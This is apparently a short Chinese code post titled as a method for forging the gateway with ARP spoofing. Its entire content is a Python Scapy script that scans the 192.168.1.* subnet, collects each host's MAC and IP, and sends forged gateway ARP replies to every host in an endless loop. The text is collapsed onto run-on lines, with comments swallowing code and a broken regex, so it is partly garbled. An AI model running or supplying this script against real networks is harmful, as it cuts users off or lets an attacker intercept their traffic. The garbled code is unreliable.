python使用arp欺骗伪造网关的方法

#coding:utf-8'''arp欺骗局域网pc，将伪造的网关mac以网关的arp应答发送给pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#伪造网关mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)def arp_hack(ip,hw):  #伪造来自网关的arp应答  t=p  t.hwdst=hw  t.pdst=ip  send(t)def get_host():  #得到在线主机的mac地址和对应ip地址   hw_ip = {}  sys.stdout = open('host.info','w')  arping(IPADDR)  sys.stdout = stdout  f = open('host.info','r')  info = f.readlines()  f.close  del info[0]  del info[0]  for host in info :    temp = re.split(r'/s+',host)    hw_ip[temp[1]] = temp[2]  return hw_ipif __name__ == "__main__":  hw_ip = get_host()  while 1 :    for i in hw_ip :      arp_hack(hw=i,ip=hw_ip[i])